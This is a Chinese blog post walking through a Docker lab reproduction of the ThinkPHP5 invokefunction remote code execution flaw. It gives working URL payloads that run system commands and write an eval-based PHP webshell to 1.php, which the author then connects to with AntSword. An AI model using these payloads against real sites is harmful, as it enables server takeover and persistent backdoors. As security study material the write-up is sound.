ThinkPHP5--rce远程代码执行

本文详细介绍了ThinkPHP5的一个安全漏洞,涉及未正确处理控制器名导致的远程命令执行问题,提供漏洞复现步骤以及利用payload进行攻击的实例,包括如何通过call_user_func_array执行系统命令。
摘要由CSDN通过智能技术生成

一、漏洞原理

在ThinkPHP5版本中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

二、影响版本

ThinkPHP5:

5.0.x~5.0.23;

三、漏洞复现

1.运行此靶场

sudo docker-compose up -d

2.查看启动环境

sudo docker ps

3.访问网页寻找漏洞

payload参数

?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

参数解释:

http://192.168.10.129:8080/index.php: 这是指向你的服务器的地址,其中192.168.10.129是服务器的IP地址,8080是端口号,而index.php是入口文件。

?s=/Index/\think\app/invokefunction&function=call_user_func_array: 这是URL中的查询字符串部分,它包含了要执行的路由和参数。

s=/Index/\think\app/invokefunction: 这部分似乎是在尝试调用ThinkPHP的某个内部方法或路由。/think\app/invokefunction可能是一个试图调用invokefunction方法的路径。

function=call_user_func_array: 这部分是指定要执行的函数,即call_user_func_array。call_user_func_array是PHP中的一个函数,它允许你调用一个用户定义的函数,并为其传递一个参数数组。

结合这两部分,这个URL似乎是在尝试通过ThinkPHP的某个功能或漏洞来远程执行任意的PHP代码

写入一句话木马到1.php文件

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20"<?php%20@eval(\$_POST[1]);%20?>">>1.php

蚁剑连接

可以访问root权限的文件

4.关闭此靶场环境

sudo docker-compose down

  • 9
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值